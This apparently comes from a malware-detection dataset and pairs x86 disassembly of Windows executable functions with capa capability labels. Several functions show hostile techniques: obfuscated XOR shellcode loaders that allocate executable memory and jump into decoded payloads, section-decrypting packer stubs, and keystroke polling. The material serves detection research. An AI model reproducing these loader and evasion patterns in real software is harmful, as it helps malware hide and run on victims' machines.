joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402d89
Capabilities:
Compare security identifiers

Disassembly:
push ebx
push esi
lea ebx, [ecx + 4]
push edi
mov edi, edx
test ebx, ebx
je 0x402dbf
lea esi, [edi + 4]
test esi, esi
je 0x402dbf
call fcn.00402ceb
test al, al
je 0x402dbf
mov ecx, edi
call fcn.00402ceb
test al, al
je 0x402dbf
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
setne al
jmp 0x402dc1
xor al, al
pop edi
pop esi
pop ebx
ret

Function at 0x40612f
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 8], 0
jne 0x4061b0
mov byte [esi + 8], 1
call main
cmp dword [esi + 0x10], 0
je 0x4061b0
test al, al
je 0x40614f
mov byte [esi + 0xa], 1
mov ecx, esi
call fcn.00406749
test al, al
jne 0x406176
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.00406e12
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
pop esi
ret
mov ecx, esi
call main
cmp dword [esi + 0x18], 0
jne 0x40619d
push dword [esi + 0x14]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_create_logging_file__s_n
call fcn.00406e12
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
cmp dword [esi + 0x10], 0
mov byte [esi + 9], 1
je 0x4061b0
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
pop esi
ret

Function at 0x406749
Capabilities:
Print debug messages

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x10], 0
jne 0x406756
xor al, al
pop esi
ret
push 0x1f4
push dword [esi + 0x10]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x40678f
cmp eax, 0x80
je 0x40678f
push dword [esi + 0xc]
push dword [esi + 0x1c]
push str.LOG_SYSTEM:___s_:_Could_not_acquire_logging_mutex__s_n
call fcn.00406e12
add esp, 0xc
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov byte [esi + 9], 0
jmp 0x406752
mov al, 1
pop esi
ret

Function at 0x407427
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x407496
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.kernel32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.kernel32.dll_GlobalLock]
test eax, eax
je 0x407472
push ebx
push edi
push eax
call fcn.0040b3a0
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x40748d
push esi
call dword [sym.imp.kernel32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret
Function at 0x40bb6b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40bb7a
pop dword [ebp - 0x18]
mov eax, 0x40bb7a
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3cb31
push 0
mov eax, 0xd946d3ea
sub eax, 0xd90501d6
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x789da755
sub ecx, 0x789d6251
mov ebx, eax
mov esi, 0xf667ed6e
sub esi, 0xf6248d6e
add esi, dword [ebp - 0x18]
mov edi, 0x6c85fddb
sub edi, 0xd5b8e171
mov edx, dword [esi]
add dword [ebp - 0x14], eax
sub edx, edi
mov dword [ebx], edx
xor dword [ebp - 8], 0xd80b8dd1
add ebx, 0xc95fce66
add ebx, 0x36a0319e
add esi, 4
loop 0x40bbd4
add eax, 0x18db7369
sub eax, 0x18da6c86
mov ebx, eax
add eax, 0x822332c8
sub eax, 0x822332c3
mov ecx, 0x99832a8d
add ecx, 0x66bcd573
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x414d19
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040d053
xor ebx, ebx
cmp dword [0x4244a8], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x414dee
push 0x41cb84
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x414d59
xor eax, eax
jmp 0x414eb2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41cb78
push edi
call esi
cmp eax, ebx
je 0x414d52
push eax
call fcn.0040cff0
mov dword [esp], 0x41cb68
push edi
mov dword [0x4244a8], eax
call esi
push eax
call fcn.0040cff0
mov dword [esp], 0x41cb54
push edi
mov dword [0x4244ac], eax
call esi
push eax
call fcn.0040cff0
mov dword [0x4244b0], eax
lea eax, [ebp - 8]
push eax
call fcn.0040f0e1
test eax, eax
pop ecx
pop ecx
je 0x414dbc
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040ce51
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x414dee
push 0x41cb38
push edi
call esi
push eax
call fcn.0040cff0
cmp eax, ebx
pop ecx
mov dword [0x4244b8], eax
je 0x414dee
push 0x41cb20
push edi
call esi
push eax
call fcn.0040cff0
pop ecx
mov dword [0x4244b4], eax
mov eax, dword [0x4244b4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x414e67
cmp dword [0x4244b8], esi
je 0x414e67
push eax
call fcn.0040d05c
pop ecx
call eax
cmp eax, ebx
je 0x414e34
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4244b8]
call fcn.0040d05c
pop ecx
call eax
test eax, eax
je 0x414e34
test byte [ebp - 0x18], 1
jne 0x414e67
lea eax, [ebp - 0xc]
push eax
call fcn.0040f118
test eax, eax
pop ecx
je 0x414e4f
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040ce51
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x414e5e
or dword [ebp + 0x10], 0x200000
jmp 0x414e98
or dword [ebp + 0x10], 0x40000
jmp 0x414e98
mov eax, dword [0x4244ac]
cmp eax, esi
je 0x414e98
push eax
call fcn.0040d05c
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x414e98
mov eax, dword [0x4244b0]
cmp eax, esi
je 0x414e98
push dword [ebp - 4]
push eax
call fcn.0040d05c
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4244a8]
call fcn.0040d05c
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x432001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x3fbd31a9
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..text_1
nop
mov ebx, 0x42f314
mov ecx, 0x535c0a5c
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x403ec0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x403ecf
pop dword [ebp - 0x14]
mov eax, 0xf21dbb71
add eax, 0xe22835e
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x41598b09
sub dword [ebp - 0x24], 0xf30745be
mov dword [ebp - 0x20], 0xf8a618f2
add dword [ebp - 0x20], 0x398d3353
mov dword [ebp - 0x1c], 0x33b45b57
add dword [ebp - 0x1c], 0x1897e8d7
mov dword [ebp - 0x18], 0x37a04a7a
sub dword [ebp - 0x18], 0x37a04a7a
lea eax, [ebp - 0x24]
push eax
mov eax, 0x56d0b907
sub eax, 0x568f586f
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xbc553f7c
sub dword [ebp - 0x24], 0x47e2d626
mov dword [ebp - 0x20], 0x5840b92f
sub dword [ebp - 0x20], 0x16d457ba
mov dword [ebp - 0x1c], 0xbefbf049
sub dword [ebp - 0x1c], 0x5b8c83dd
mov dword [ebp - 0x18], 0x2ce35e2b
sub dword [ebp - 0x18], 0x2ce35e2b
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xdb355ba
add eax, 0xf28e0aba
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3cafa
push 0
call eax
mov ecx, 0x4ebd
mov edx, eax
mov ebx, 0x42a600
add ebx, dword [ebp - 0x14]
mov edi, 0x6cd4aed7
sub edi, 0x977086e7
mov dword [ebp - 8], 0x606cfe0b
mov esi, dword [ebx]
xor dword [ebp - 4], 0x77b43a32
xor esi, edi
add dword [ebp - 8], 0x673957f0
mov dword [edx], esi
add dword [ebp - 4], ebx
add edx, 0x8881cc98
sub edx, 0x8881cc94
add ebx, 4
loop 0x403fe5
add eax, 0x3cffd41b
sub eax, 0x3cfea654
mov ebx, eax
add eax, 0xcb9b3ced
sub eax, 0xcb9b3ce8
mov ecx, 0xc60d7e28
sub ecx, 0xc5cd7e28
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
sub esp, 0x14
call dword [sym.imp.user32.dll_GetDesktopWindow]
mov dword [esp + 0xc], 5
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.shell32.dll_Control_RunDLLW
sub esp, 0x10
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_ExitProcess]

Function at 0x4011d0
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 1
call sub.ucrtbase.dll__configure_wide_argv
call sub.ucrtbase.dll__initialize_wide_environment
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call sub.ucrtbase.dll__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sub.ucrtbase.dll__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call 0x4011d0
mov dword [esp], eax
call sub.ucrtbase.dll_exit
nop
nop
nop
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x60
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x401227
xor ecx, ecx
xor edx, edx
jmp 0x401209
cmp ax, 0x5c
jne 0x401290
add edx, 1
movzx eax, word [ebx + 2]
add ebx, 2
test ax, ax
je 0x401227
cmp ax, 9
je 0x401215
cmp ax, 0x20
jne 0x4011f0
test ecx, ecx
je 0x40127b
movzx eax, word [ebx + 2]
add ebx, 2
xor edx, edx
test ax, ax
jne 0x401209
lea eax, [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x20], 1
je 0x4012b0
movzx esi, word [ebp - 0x1c]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.00401040
sub esp, 0x10
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
add ebx, 2
movzx eax, word [ebx]
cmp ax, 9
je 0x401278
cmp ax, 0x20
je 0x401278
jmp 0x401227
cmp ax, 0x22
jne 0x401219
and edx, 1
jne 0x401219
xor ecx, 1
jmp 0x4011fd
mov eax, 1
mov esi, 1
mov word [ebp - 0x1c], ax
jmp 0x401240
Function at 0x430140
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x21000]
push edi
or ebp, 0xffffffff
jmp 0x430162
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x430169
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x430158
mov eax, 1
add ebx, ebx
jne 0x43017b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x430170
jne 0x43018c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x430170
xor ecx, ecx
sub eax, 3
jb 0x4301a0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x430212
mov ebp, eax
add ebx, ebx
jne 0x4301ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4301b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4301dc
inc ecx
add ebx, ebx
jne 0x4301c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4301bd
jne 0x4301d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4301bd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4301fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4301ed
jmp 0x43015e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4301fc
add edi, ecx
jmp 0x43015e
pop esi
mov edi, esi
mov ecx, 0x35f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43021a
cmp byte [edi], 6
jne 0x43021a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x43021f
lea edi, [esi + 0x2e000]
mov eax, dword [edi]
or eax, eax
je 0x430297
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x30fcc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x31008]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43024c
mov ecx, edi
jns 0x43027b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3100c]
or eax, eax
je 0x430291
mov dword [ebx], eax
add ebx, 4
jmp 0x430269
call dword [esi + 0x3101c]
mov ebp, dword [esi + 0x31010]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4302cb
sub esp, 0xffffff80
jmp 0x403670
Function at 0x40384b
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
push 0x1008
call fcn.00423ada
add esp, 4
mov dword [ebp - 8], eax
mov edi, eax
mov esi, 0x4434cd
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x400
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 8], 0
jne 0x4038a8
mov eax, 0
jmp 0x403a0b
mov dword [ebp - 0x18], esp
lea eax, [ebp - 0xc]
push eax
push 0x800
mov ebx, dword [ebp - 8]
call fcn.00401e88
push ebx
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
nop
nop
nop
nop
cmp dword [ebp - 0x18], esp
je 0x4038d9
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403a03
fild dword [ebp - 0xc]
fstp qword [ebp - 0x1c]
fld qword [ebp - 0x1c]
fdiv qword [0x4434c5]
fstp qword [ebp - 0x24]
mov dword [ebp - 0x2c], 1
fld qword [ebp - 0x24]
call fcn.00401ec1
cmp eax, 0
jge 0x403919
push 0xa
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0x28], eax
lea ebx, [ebp - 0x2c]
call fcn.00401e88
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.00423ada
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
lea esi, [ebp - 0x28]
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov ebx, dword [ebp - 8]
call fcn.00401e88
pop edx
mov eax, ecx
cmp ecx, edx
jle 0x403958
mov ecx, edx
sub eax, ecx
sub edx, ecx
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
test edx, edx
je 0x40396e
mov ecx, edx
xor eax, eax
rep stosd dword es:[edi], eax
push dword [ebp - 8]
call fcn.00423ae0
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
call fcn.00401ea8
xor ecx, ecx
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x403a00
mov ebx, dword [ebp - 8]
call fcn.00401e88
push ebx
push ecx
mov eax, dword [ebp - 0x10]
dec eax
jns 0x4039b9
push 4
call fcn.00423ae6
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4039cc
push 1
call fcn.00423ae6
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 0x18]
cmp dword [ebx], eax
jne 0x4039e9
mov dword [ebp - 0x14], 1
push 0
mov ebx, 0x350
call fcn.00424e40
add esp, 4
pop eax
pop ebx
pop ecx
jmp 0x40398e
add esp, 0xc
mov eax, dword [ebp - 0x14]
jmp 0x403a0b
push eax
mov ebx, dword [ebp - 8]
push ebx
call fcn.00423ae0
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x403a1f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [ebp + 0xc], 0
jne 0x403a3a
call fcn.00403aaa
mov dword [ebp + 8], eax
mov dword [ebp - 4], esp
push dword [ebp + 8]
push 0
push 1
call dword [0x448270]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x403a66
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x403a90
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
mov eax, 0
sete al
jmp 0x403aa4
mov esp, ebp
pop ebp
ret 8

Function at 0x403adb
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [ebp + 0xc], 0
jne 0x403af6
call fcn.00403aaa
mov dword [ebp + 8], eax
mov dword [ebp - 4], esp
push dword [ebp + 8]
push 0
push 1
call dword [0x448270]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x403b22
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x403b4c
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
mov eax, 0
sete al
jmp 0x403b60
mov esp, ebp
pop ebp
ret 8
Function at 0x4049a9
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x80000301
push 0
push 0x103
push 1
mov ebx, 0x184
call fcn.00425500
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4049f5
push ebx
call fcn.00423ae0
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0x103
push 1
mov ebx, 0x184
call fcn.00425500
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x404a2e
push ebx
call fcn.00423ae0
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x404a59
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0xc], esp
push dword [ebp - 8]
push 0
push 0x44352c
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x404a88
push 6
call fcn.00423ae6
add esp, 4
push 0x80000301
push 0
push 1
push 0x80000301
push 0
push 2
push 2
mov ebx, 0xc8
call fcn.00425540
add esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ebx, dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x404adf
push 6
call fcn.00423ae6
add esp, 4
push 0x80000101
push 0
push 0
push 1
mov ebx, 0x140
call fcn.00425560
add esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push 4
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
nop
nop
nop
nop
cmp dword [ebp - 0x10], esp
je 0x404b2a
push 6
call fcn.00423ae6
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x404b3a
push ebx
call fcn.00423ae0
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x404b4a
push ebx
call fcn.00423ae0
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x404b5a
push ebx
call fcn.00423ae0
add esp, 4
mov esp, ebp
pop ebp
ret 4
Function at 0x412d66
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x100
push 1
mov ebx, 0x184
call fcn.00425500
add esp, 0x10
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x412dab
push ebx
call fcn.00423ae0
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esp
push 0x100
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
nop
nop
cmp dword [ebp - 8], esp
je 0x412dd9
push 6
call fcn.00423ae6
add esp, 4
mov eax, dword [ebp - 4]
test eax, eax
je 0x412df5
push eax
mov ebx, eax
call fcn.004013f2
inc eax
push eax
call fcn.00423ada
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x412dfa
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x412e0b
push ebx
call fcn.00423ae0
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4
Function at 0x413762
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], esp
push 0x7a
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x41378f
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x41390e
push 0xa0000101
push 0
push 0x4472db
push 1
mov ebx, 0x168
call fcn.00424400
add esp, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.0040866a
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4137d9
push ebx
call fcn.00423ae0
add esp, 4
push 0xa0000101
push 0
push 0x4472fc
push 1
mov ebx, 0x168
call fcn.00424400
add esp, 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040866a
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x413816
push ebx
call fcn.00423ae0
add esp, 4
mov dword [ebp - 0x14], esp
push dword [ebp - 0x10]
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_FindWindowA]
nop
nop
nop
nop
cmp dword [ebp - 0x14], esp
je 0x41383b
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41384e
push ebx
call fcn.00423ae0
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41385e
push ebx
call fcn.00423ae0
add esp, 4
mov eax, dword [ebp - 0x18]
mov dword [0x448238], eax
cmp dword [0x448238], 1
jle 0x41390e
mov dword [ebp - 4], esp
push 0x40
call dword [sym.imp.USER32.dll_MessageBeep]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x413897
push 6
call fcn.00423ae6
add esp, 4
call fcn.004139e6
mov dword [ebp - 4], esp
push 0x415f57
push 0x12c
push 0x2711
push dword [0x44820c]
call dword [sym.imp.USER32.dll_SetTimer]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4138d0
push 6
call fcn.00423ae6
add esp, 4
mov dword [0x44823c], eax
mov dword [ebp - 4], esp
push 0x415f63
push 0x249f0
push 0x2712
push dword [0x44820c]
call dword [sym.imp.USER32.dll_SetTimer]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x413909
push 6
call fcn.00423ae6
add esp, 4
mov dword [0x448234], eax
mov dword [ebp - 4], esp
push 0x7b
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x413932
push 6
call fcn.00423ae6
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4139e2
cmp dword [0x448238], 1
jle 0x4139e2
mov dword [ebp - 4], esp
push 0x2711
push dword [0x44820c]
call dword [sym.imp.USER32.dll_KillTimer]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x413976
push 6
call fcn.00423ae6
add esp, 4
mov dword [0x44823c], eax
mov dword [0x44823c], 0
mov dword [ebp - 4], esp
push 0x2712
push dword [0x44820c]
call dword [sym.imp.USER32.dll_KillTimer]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4139af
push 6
call fcn.00423ae6
add esp, 4
mov dword [0x448234], eax
mov dword [0x448234], 0
mov dword [ebp - 4], esp
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
nop
nop
nop
nop
cmp dword [ebp - 4], esp
je 0x4139e2
push 6
call fcn.00423ae6
add esp, 4
mov esp, ebp
pop ebp
ret